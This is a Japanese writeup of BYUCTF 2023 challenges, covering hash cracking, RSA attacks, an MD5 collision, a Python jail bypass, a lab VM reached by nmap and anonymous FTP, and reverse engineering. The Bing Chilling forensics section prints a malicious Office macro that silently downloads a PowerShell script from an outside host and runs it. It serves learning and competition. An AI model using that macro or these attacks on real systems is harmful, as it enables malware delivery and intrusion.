この大会は2023/5/20 2:00(JST)~2023/5/21 14:00(JST)に開催されました。
今回もチームで参戦。結果は10291点で581チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
Discordに入り、#rulesチャネルでルールにリアクションすると、たくさんのチャネルが現れた。#generalチャネルのトピックを見ると、フラグが書いてあった。
byuctf{yes_this_is_sanity_check_flag_race_for_who_gets_1st_blood}
006 I (Misc)
問題は以下のハッシュ。
fb77dc5534f88d45fa2985d92a68c60c
CrackStationでクラックすると、パスワードがわかる。
brittishhottie
byuctf{brittishhottie}
006 II (Misc)
問題は以下のハッシュ。
cdd0525ea8565802b35dc5d71757a6497953050d
CrackStationでクラックすると、パスワードがわかる。
Arkhangelsk
byuctf{Arkhangelsk}
006 III (Misc)
問題は以下の4つのハッシュ。
6328C530F895CA13C75E161DEC260EC2C0BED4FCFF1B34448EA16A7FFFFA5CDC403E5CC83B23321E9AD3280952BE2ADB037DD7AFA3084B7E940C6A655B2F13BA 3FAE7E18F9004673D0E68CA10264A1ABAF76FBF42E60D960A1B95289401146E4BF39E599641C730DB8F664F7F1DD02F171BEB4730AC756AAC7CF40C6BC4D623A 5C6E3A016FC76F6EC3E062F266977A2C32FD875F0911323256B50A7AA6E24A8C0AD4E6225CA07A73BA1487A83AD7F058CE77345969F1FC04FD6168C15A39EB00 A7383D14CF904E91C0F0226CC926CC6CA7CF91F1907025AE961627B444C412247823DA87C3AF69D8A490538554F6E59E972D4EE861726A7B2B3D808CD5096A5B
CrackStationでクラックする。
6328C530F895CA13C75E161DEC260EC2C0BED4FCFF1B34448EA16A7FFFFA5CDC 403E5CC83B23321E9AD3280952BE2ADB037DD7AFA3084B7E940C6A655B2F13BA sha512 goldeneye007 3FAE7E18F9004673D0E68CA10264A1ABAF76FBF42E60D960A1B95289401146E4 BF39E599641C730DB8F664F7F1DD02F171BEB4730AC756AAC7CF40C6BC4D623A sha512 goldeneye641 5C6E3A016FC76F6EC3E062F266977A2C32FD875F0911323256B50A7AA6E24A8C 0AD4E6225CA07A73BA1487A83AD7F058CE77345969F1FC04FD6168C15A39EB00 Unknown Not found. A7383D14CF904E91C0F0226CC926CC6CA7CF91F1907025AE961627B444C41224 7823DA87C3AF69D8A490538554F6E59E972D4EE861726A7B2B3D808CD5096A5B Unknown Not found.
3つ目と4つ目が見つからなかったが、1つ目と2つ目と同様に"goldeneyeNNN"という形式と推測できるので、ブルートフォースで探す。
#!/usr/bin/env python3 import hashlib hashes = [ '6328C530F895CA13C75E161DEC260EC2C0BED4FCFF1B34448EA16A7FFFFA5CDC403E5CC83B23321E9AD3280952BE2ADB037DD7AFA3084B7E940C6A655B2F13BA', '3FAE7E18F9004673D0E68CA10264A1ABAF76FBF42E60D960A1B95289401146E4BF39E599641C730DB8F664F7F1DD02F171BEB4730AC756AAC7CF40C6BC4D623A', '5C6E3A016FC76F6EC3E062F266977A2C32FD875F0911323256B50A7AA6E24A8C0AD4E6225CA07A73BA1487A83AD7F058CE77345969F1FC04FD6168C15A39EB00', 'A7383D14CF904E91C0F0226CC926CC6CA7CF91F1907025AE961627B444C412247823DA87C3AF69D8A490538554F6E59E972D4EE861726A7B2B3D808CD5096A5B' ] passwords = [''] * 4 for i in range(1000): password = 'goldeneye%03d' % i h = hashlib.sha512(password.encode()).hexdigest() for j in range(len(hashes)): if h == hashes[j].lower(): passwords[j] = password break flag = '_'.join(passwords) flag = 'byuctf{%s}' % flag print(flag)
byuctf{goldeneye007_goldeneye641_goldeneye069_goldeneye159}
xkcd 2637 (Misc)
$ nc byuctf.xyz 40014 Get 500 problems correct to get the flag! 10110 + 1011 =
xkcd 2637を調べると、Roman Numeralsが出てくる。
https://www.explainxkcd.com/wiki/index.php/2637:_Roman_Numerals
このRoman Numeralsの計算をする必要がある。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def roman_to_int(s): d = 0 index = 0 while index < len(s): if s[index:index+4] == '10100': d += 90 index += 5 elif s[index:index+4] == '1050': d += 40 index += 4 elif s[index:index+3] == '110': d += 9 index += 3 elif s[index:index+2] == '10': d += 10 index += 2 elif s[index:index+2] == '50': d += 50 index += 2 elif s[index:index+2] == '15': d += 4 index += 2 elif s[index:index+1] == '1': d += 1 index += 1 elif s[index:index+1] == '5': d += 5 index += 1 return d def int_to_roman(n): d = '' s = str(n) l = len(s) for i in range(l): if int(s[i]) < 4: d += ('1' + '0' * (l - i - 1)) * int(s[i]) elif int(s[i]) == 4: d += '1' + '0' * (l - i - 1) + '5' + '0' * (l - i - 1) elif int(s[i]) < 9: d += '5' + '0' * (l - i - 1) d += ('1' + '0' * (l - i - 1)) * (int(s[i]) - 5) else: d += '1' + '0' * (l - i - 1) d += '1' + '0' * (l - i) return d s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('byuctf.xyz', 40014)) data = recvuntil(s, b'\n').rstrip() print(data) for i in range(500): print('Round %d' % (i + 1)) data = recvuntil(s, b'= ') print(data, end= '') formula = data.split(' =')[0] v1 = formula.split(' ')[0] op = formula.split(' ')[1] v2 = formula.split(' ')[2] v1 = roman_to_int(v1) v2 = roman_to_int(v2) ans = eval(str(v1) + op + str(v2)) ans = int_to_roman(ans) print(ans) s.sendall(ans.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
: Round 491 10101011 + 15 = 10101051 Round 492 1010105 + 1015 = 1050110 Round 493 1010111 + 10 = 101010111 Round 494 10110 + 10105 = 105015 Round 495 105111 * 1010111 = 1005001015 Round 496 101051 * 101051 = 50010050101051 Round 497 511 * 110 = 5010111 Round 498 15 * 10101011 = 10010105111 Round 499 1010511 + 10511 = 105015 Round 500 10511 * 1010 = 1001001001050 Flag: byuctf{just_over_here_testing_your_programming_skills_:)}
byuctf{just_over_here_testing_your_programming_skills_:)}
Collision (Misc)
PNGのシグネチャと2つの決められた文字列が入っていて、md5が同じデータを送信できればフラグが表示される。PNGのシグネチャと2つの決められた文字列が入っているベースのファイルを作成して、目的のファイルを2つ生成する。
$ ./clone-fastcoll/fastcoll base_data Generating first block: ............................ Generating second block: S00. use 'md5sum md5_data*' check MD5
あとはこのファイルのデータのbase64エンコードデータを送信して、フラグを得る。
#!/usr/bin/env python3 import socket import base64 def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) with open('md5_data1', 'rb') as f: data1 = base64.b64encode(f.read()).decode() with open('md5_data2', 'rb') as f: data2 = base64.b64encode(f.read()).decode() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('byuctf.xyz', 40016)) data = recvuntil(s, b': ') print(data + data1) s.sendall(data1.encode() + b'\n') data = recvuntil(s, b': ') print(data + data2) s.sendall(data2.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Enter string 1: iVBORw0KGgpLZWVwaW5nIHlvdXIgc29mdHdhcmUgYW5kIHN5c3RlbXMgdXAtdG8tZGF0ZSB3aXRoIHRoZSBsYXRlc3Qgc2VjdXJpdHkgcGF0Y2hlcyBpcyBhIGNydWNpYWwgc3RlcCBpbiBzYWZlZ3VhcmRpbmcgYWdhaW5zdCBwb3RlbnRpYWwgY3liZXIgYXR0YWNrcy5JbXBsZW1lbnRpbmcgc3Ryb25nIHBhc3N3b3JkcywgdHdvLWZhY3RvciBhdXRoZW50aWNhdGlvbiwgYW5kIHJlZ3VsYXIgZW1wbG95ZWUgdHJhaW5pbmcgYXJlIGVzc2VudGlhbCBtZWFzdXJlcyBpbiBtYWludGFpbmluZyBhIHNlY3VyZSBkaWdpdGFsIGVudmlyb25tZW50IGZvciB5b3VyIG9yZ2FuaXphdGlvbi4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHPB+L0oDCsXJE4eDv0vew0tXBeJhiQDJLyJC1bSWN8r105zhAW0+oGsGW/nlz7xX2WdmPPvPnA07X8FR27uoS5K5d672JDMYhakd0bcO4X/Md9H6Gv1AGcEb98RRYV2e9ZLWuhp6c0Fbi9GvLmldZo+Gnb2opasqc+UCSkq07MU= Enter string 2: iVBORw0KGgpLZWVwaW5nIHlvdXIgc29mdHdhcmUgYW5kIHN5c3RlbXMgdXAtdG8tZGF0ZSB3aXRoIHRoZSBsYXRlc3Qgc2VjdXJpdHkgcGF0Y2hlcyBpcyBhIGNydWNpYWwgc3RlcCBpbiBzYWZlZ3VhcmRpbmcgYWdhaW5zdCBwb3RlbnRpYWwgY3liZXIgYXR0YWNrcy5JbXBsZW1lbnRpbmcgc3Ryb25nIHBhc3N3b3JkcywgdHdvLWZhY3RvciBhdXRoZW50aWNhdGlvbiwgYW5kIHJlZ3VsYXIgZW1wbG95ZWUgdHJhaW5pbmcgYXJlIGVzc2VudGlhbCBtZWFzdXJlcyBpbiBtYWludGFpbmluZyBhIHNlY3VyZSBkaWdpdGFsIGVudmlyb25tZW50IGZvciB5b3VyIG9yZ2FuaXphdGlvbi4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHPB+L0oDCsXJE4eDv0vew0tXBWJhiQDJLyJC1bSWN8r105zhAW0+oGsGW/nlT71X2WdmPPvPnA07X8HR27uoS5K5d672JDMYhakd0bcO4X/Md9F6Gv1AGcEb98RRYV2e9ZLWuhp6c0Fbi9GvLulcZo+Gnb2opasqc+UCykq07MU= Strings found byuctf{c0ll1s10n5_4r3_c00l10}
byuctf{c0ll1s10n5_4r3_c00l10}
Legoclones 1 (OSINT)
アカウントlegoclonesのSNSを調べていく。
GithubやTwitterでは関係ある内容が見つからなかった。
Redditに関係ありそうな内容が見つかった。
https://www.reddit.com/user/legoclones
そこには以下のように書いてある。
I'm the man who created that list on Clone Trooper Wiki almost a decade ago, ...(snip)... ...(snip)...but I founded the Wiki, worked on it for about 3 years, ...(snip)...
問題文に書かれている10年間の活動と、3年間Clone Trooper Wikiで活動していると言っている。リンクされているClone Trooper Wikiを見てみる。
https://clonetrooper.fandom.com/wiki/User:Legoclones
現在は引退し、Blyndblitzにゆだねられていると書かれている。
byuctf{Blyndblitz}
MI6configuration 1 (Pentesting)
ボリュームを復号するためのパスワードはJames Bondのキャラクター"Q"のファーストネーム(すべて小文字)。"Q"の名前は Major Boothroyd なので、パスワードは "major"。VirtualBoxにovaをインポート後、起動する。その際ボリューム復号のパスワードに"major"を指定する。
ホストからnmapでIPアドレスを確認する。
>nmap -sP 192.168.56.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 07:26 東京 (標準時) Nmap scan report for 192.168.56.100 Host is up (0.00s latency). MAC Address: 08:00:27:B7:08:CC (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.103 Host is up (0.00011s latency). MAC Address: 08:00:27:25:BC:C6 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.1 Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 4.53 seconds
対象のIPアドレスは192.168.56.103。
>nmap -sC -sV 192.168.56.103 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 07:29 東京 (標準時) NSOCK ERROR [0.0540s] ssl_init_helper(): OpenSSL legacy provider failed to load. Nmap scan report for 192.168.56.103 Host is up (0.0000010s latency). Not shown: 729 filtered tcp ports (no-response), 269 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.56.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -r--r--r-- 1 33 0 22 Apr 17 22:01 flag1.txt |_-r--r--r-- 1 1002 0 29 Apr 17 15:40 not_my_passwords.txt 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c5849242153793582b2cc8f5d9eed24c (RSA) | 256 bedc4b8fcfd3c50281bab7791f2b9afa (ECDSA) |_ 256 7b1fecd2c294bf1b1984f322005cde02 (ED25519) MAC Address: 08:00:27:25:BC:C6 (Oracle VirtualBox virtual NIC) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds
anonymous FTPが有効になっていて、flag1.txtがあるので、ダウンロードし確認する。
>ftp 192.168.56.103 192.168.56.103 に接続しました。 220 (vsFTPd 3.0.3) 200 Always in UTF8 mode. ユーザー (192.168.56.103:(none)): anonymous 331 Please specify the password. パスワード: 230 Login successful. ftp> get flag1.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for flag1.txt (22 bytes). 226 Transfer complete. ftp: 22 バイトが受信されました 0.00秒 5.50KB/秒。 ftp> quit 221 Goodbye. >type flag1.txt byuctf{anonymous_ftp}
byuctf{anonymous_ftp}
Leet 1 (Jail)
数値を使わずにevalが1337になるようにする必要がある。ord関数を使って、ASCIIコードの和で条件を満たすようにする。
>>> ord('z') 122 >>> 1337 // 122 10 >>> 1337 % 122 117 >>> chr(117) 'u'
$ nc byuctf.xyz 40000 > ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('z')+ord('u') byuctf{simple_bypasses!}
byuctf{simple_bypasses!}
RevEng (Rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; undefined local_178 [112]; undefined8 local_108; undefined2 local_100; undefined6 uStack_fe; undefined2 uStack_f8; undefined8 local_f6; undefined local_e8 [112]; undefined local_78 [112]; get_user_input(local_78); decrypt_passphrase(passphrase_encrypted,local_e8,5); iVar1 = check_passphrase(local_78,local_e8); if (iVar1 == 0) { puts("Incorrect passphrase. Please try again."); } else { local_108 = 0x6e806b79687a7e67; local_100 = 0x4c64; uStack_fe = 0x796a38647935; uStack_f8 = 0x6a59; local_f6 = 0x823a3c3e36642657; decrypt_passphrase(&local_108,local_178,5); print_flag(local_178); } return 0; } void decrypt_passphrase(long param_1,long param_2,char param_3) { int local_c; for (local_c = 0; *(char *)(param_1 + local_c) != '\0'; local_c = local_c + 1) { *(char *)(param_2 + local_c) = *(char *)(param_1 + local_c) - param_3; } *(undefined *)(param_2 + local_c) = 0; return; } bool check_passphrase(char *param_1,char *param_2) { int iVar1; iVar1 = strcmp(param_1,param_2); return iVar1 == 0; }
local_108以降をバイト単位で-5すれば、フラグになる。
#!/usr/bin/env python3 enc = (0x6e806b79687a7e67).to_bytes(8, 'little') enc += (0x4c64).to_bytes(2, 'little') enc += (0x796a38647935).to_bytes(6, 'little') enc += (0x6a59).to_bytes(2, 'little') enc += (0x823a3c3e36642657).to_bytes(8, 'little') flag = '' for c in enc: flag += chr(c - 5) print(flag)
byuctf{i_G0t_3etTeR!_1975}
kcpassword (Forensics)
https://github.com/Heisenberk/decode-kcpasswordのスクリプトを使って、kcpasswordをデコードする。
$ python3 decode-kcpassword.py kcpassword byuctf{wow_Macs_really_have_it_encrypted_with_a_static_key_lol}
byuctf{wow_Macs_really_have_it_encrypted_with_a_static_key_lol}
Bing Chilling (Forensics)
odtファイルを解凍・展開する。\Basic\Project\NewMacros.xmlにフラグに関係ありそうな記述がある。
Sub AutoOpen() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "byu" + "ctf" + "{" + "m@ldocs @re" + "sn@eky and bad}" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://bsrc.baidu.com/drill/doc-zh.html','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") End Sub
上記のプロシージャのFGHNBVRGHJJGFDSDUUUUの値にフラグが含まれている。
byuctf{m@ldocs @resn@eky and bad}
RSA1 (Crypto)
factordbでnを素因数分解する。
n = 15631612382272805561 * 18413880828441662521
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * n = 287838647563564518717519107521814079281 e = 7 c = 258476617615202392748150555415953446503 p = 15631612382272805561 q = 18413880828441662521 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
byuctf{too_smol}
RSA2 (Crypto)
factordbでnを素因数分解する。
n = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361 * 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881
あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * n = 546014635841741214724882952304387823741798461149589549073179989118942746109940806878269775538274570065946589413677004071487344751464649121103982272835006900203922112014630898761428602513684456008956735791010937229939856259403186940249737579526542460562078728957198932156520780835942292131829398548678970431263462917223085165930683353518778015361505451889259321493813123084031407195410778661720394898118828299025325200597986154170392835072784810370185329392356423340408483449291280713796374297147668615988522804223480631576577707073715128342533703842150980913675658012799681575774731843549389349977365287936534707998476564357339504431638612839358093914282814270477657856345062084136585402704930924062452984009716927826681976269057923158930326380110735873715506666086031427627450725825495228912040943784627278987497908133546573083543604901933763330940965980882566819970423354937076331119777415405707162588442490342746115310986462330781467571631209829523895479737199963129517613642920935109776495829400236613168913129178658637967592913193540283532220304664924612246117951571439486418122093867454452618997458068515332016877486822805232899716524040444751997121936138984564834862354469295078855441829018404782747219665338778379471257704041 e = 65537 c = 497483520135207500611760341868934810216889295862727367409205471739457798733223813938415492642898622071289502771394670201759355356873731071744923938304067196827981196823596976532284031567818944043351160692892539254848854527943095670705184836531463778923699513154523281624336593518751911469590777921172775020125081803529411082078530404614569485860638460689961289946436553586222781503048987585305336865777424252321433817251942278548031598867440246798562662298880488044382840476214732326114298681849826143159014132251265975612736174765852107701466877003101250308950535660691651846052082123375934624356694170453897672257371991315676787548733520567289929667876604682273501711766130944645562650989837328685043543330211830184365436596077862055649246517141787872170320358968622818470064395975654949073402489903952399985907827496667385839890041608685588908200009780210043116940593521695695047783434230143405184690206691002634954008353327872663055826018481013718627348218684688250775372760462829705754318024652361552668830110066219305953343851243676904796434142570868419087560131333056695456062994781034014322792678534785191950145702468201676105282230660132801024614625267740668507168119879074770666830923799616054485447308126877109671082189614 p = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361 q = 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
byuctf{rsa_is_only_secure_when_p_and_q_are_unknown}
RSA3 (Crypto)
n1とn2の最大公約数が1より大きいので、素因数分解できる。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433 e1 = 65537 c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715 n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233 e2 = 65537 c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343 p = GCD(n1, n2) q = n1 // p phi = (p - 1) * (q - 1) d = inverse(e1, phi) m = pow(c1, d, n1) flag = long_to_bytes(m).decode() print(flag)
byuctf{coprime_means_factoring_N_becomes_much_easier}
RSA4 (Crypto)
eの値が3で、3つのn, cの組があるので、Hastad's Broadcast Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * from sympy.ntheory.modular import crt from gmpy2 import iroot n1 = 25204912957894049536633029588071532883154221495361435745558539407530325536509218257991893451902442183954212400671502526830623527340613723328379300388737939211263541814108106183164630301938900862986688763583982133846507136234797325243547177627054271161715200611591594812723672399437505379398941496184886411879923583394041753902383846644013849190900416111230521180435101859101110596828380586449182686175177638441549656137307050392520754146511496313215137339773851458160180450925216541537448515297981124184019831730808991821344392915274230294654187421183676471212265322367890189804699510021526923237231850244056681024361 e1 = 3 c1 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509 n2 = 17730912385401458370516374144454354828481353051514329263921774569034415114147424203611660978860008058118764431105602401970281692066419254457694301039461623568501484102567802483628476717695013320444442267232019104240173401975387173805390636521671252624249730700497552226732834062715286458634274525026438931671208367178653031967364951679420066768732647183187381700016195545187024094717207787859217993871236368911145957298126589666514319408022801341248744002320245345234912423717815146532293315342644702101415345900126397475592837306256140915525455824350305349773210334856093169535686115299159772550674315375987529523179 e2 = 3 c2 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509 n3 = 23693871552180460990138635073805949225912252125308334418081834697641804631104724668330415198785050388969117484647897131795893896100932121531733121069301557203541651575306855376180158639595396645851251320756224273151350168394783274111111375428683335001923152182758469432988805562827169898721409159172411067426322303967736140645806651181720610635139163613355013365367013643617931710120446074129630384181873406149243284193113399417540744056880787819360491511062694356302764642727497777585348003477373456680752873785829149551421840290660162776229985812994060664107888011786183808824620497078292008444842754064007647832261 e3 = 3 c3 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509 ns = [n1, n2, n3] cs = [c1, c2, c3] e = e1 me, _ = crt(ns, cs) m, success = iroot(me, e) assert success flag = long_to_bytes(m).decode() print(flag)
byuctf{hastad_broadcast_attack_is_why_e_needs_to_be_very_large}
RSA5 (Crypto)
同じnで、同じ平文に対するeとcの組み合わせが2個あるので、Common Modulus Attackで復号する。
#!/usr/bin/env python3 import gmpy2 from Crypto.Util.number import * def commom_modulus_attack(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy2.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) x = (v*w) % n return x n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747 e1 = 65537 c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240 e2 = 65521 c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717 m = commom_modulus_attack(c1, c2, e1, e2, n) flag = long_to_bytes(m).decode() print(flag)
byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES}
Compact (Crypto)
画像ファイルが添付されている。
この図から2種のコード5個で生成する暗号と推測できる。
Bacon's cipherと推測して復号する。ただし該当するものがないものがあったので、仮に使われていない"a"に置き換えた。
itleny zbff dno cbydjdnbft srwb ersaqen
quipqiupで調整しながら復号する。結果以下のCluesを指定して復号することができた。
Clues: i=b t=y l=u
byuctf well its definitely more compact
byuctf{well its definitely more compact}
𐐗𐐡𐐆𐐑𐐓𐐄? (Crypto)
画像ファイルが添付されている。
問題タイトルの文字で調べると、Deseret alphabetであることがわかる。https://www.2deseret.com/で以下の文字を変換する。
𐐺𐐨 𐐶𐐴 𐐷𐐭 𐑅𐐨 𐐻𐐨 𐐯𐑁 𐐼𐐯𐑅𐐨𐑉𐐯𐐻 𐑋𐐨𐑌𐐮 𐐸𐐲𐑌𐐮 𐐺
結果以下となる。
be why you see tea f deseret /m/ee/n/ih/ /h/u/n/ih/ /b/
Deseret alphabetは発音を表し、オンラインツールは英語の辞書から該当するものを探すものなので、発音から推測する。
byuctf deseret means honey bee
byuctf{DESERET_MEANS_HONEY_BEE}
Poem (Crypto)
quipqiupで調整しながら、復号する。Cluesには以下を指定して復号できた。
f=y g=u
復号結果は以下の通り。
the flag is byuctf a message so clear a challenge to hackers a line were dere
以下をフラグとして投入したがダメだった。
byuctf{a message so clear a challenge to hackers a line were dere}
最後の方が単語が決め切れていないので、調整する。
byuctf{a message so clear a challenge to hackers a line we revere}
Survey (Misc)
アンケートに答えたら、フラグが表示された。
byuctf{Just_m@k3_s0m3th1ng_up}